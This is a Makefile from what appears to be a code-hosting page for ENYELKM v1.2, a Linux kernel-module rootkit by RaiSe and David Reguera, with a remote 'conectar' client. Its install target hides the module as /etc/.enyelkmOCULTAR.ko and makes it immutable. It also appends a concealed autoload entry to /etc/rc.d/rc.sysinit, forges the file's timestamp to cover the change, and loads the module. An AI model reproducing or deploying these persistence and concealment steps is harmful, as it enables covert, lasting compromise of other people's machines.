-
-
Notifications
You must be signed in to change notification settings - Fork 31
/
Makefile
63 lines (58 loc) · 2.15 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
obj-m += enyelkm.o
enyelkm-objs := base.o kill.o ls.o read.o remoto.o
DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8`
VERSION = v1.2
CC = gcc
CFLAGS += -fomit-frame-pointer
all:
@echo
@echo "----------------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
@echo " [email protected] | [email protected]"
@echo " http://www.enye-sec.org"
@echo "----------------------------------------------"
@echo
@echo "#define DSYSENTER $(S_ENT)" > data.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules
$(CC) conectar.c -o conectar -Wall
@rm -f $(DELKOS)
conectar:
@echo
@echo "----------------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
@echo " [email protected] | [email protected]"
@echo " http://www.enye-sec.org"
@echo "----------------------------------------------"
@echo
$(CC) conectar.c -o conectar -Wall
@echo
install:
@echo
@echo "----------------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
@echo " [email protected] | [email protected]"
@echo " http://www.enye-sec.org"
@echo "----------------------------------------------"
@echo
@cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko
@chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null
@echo -e "#<OCULTAR_8762>\ninsmod /etc/.enyelkmOCULTAR.ko" \
\ " > /dev/null 2> /dev/null\n#</OCULTAR_8762>" \
\ >> /etc/rc.d/rc.sysinit
@touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null
@insmod /etc/.enyelkmOCULTAR.ko
@echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko
@echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta
@echo + enyelkm cargado !
@echo
clean:
@echo
@echo "----------------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
@echo " [email protected] | [email protected]"
@echo " http://www.enye-sec.org"
@echo "----------------------------------------------"
@echo
@rm -rf *.o *.ko *.mod.c .*.cmd .*.d data.h conectar .tmp_versions Modules.symvers
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean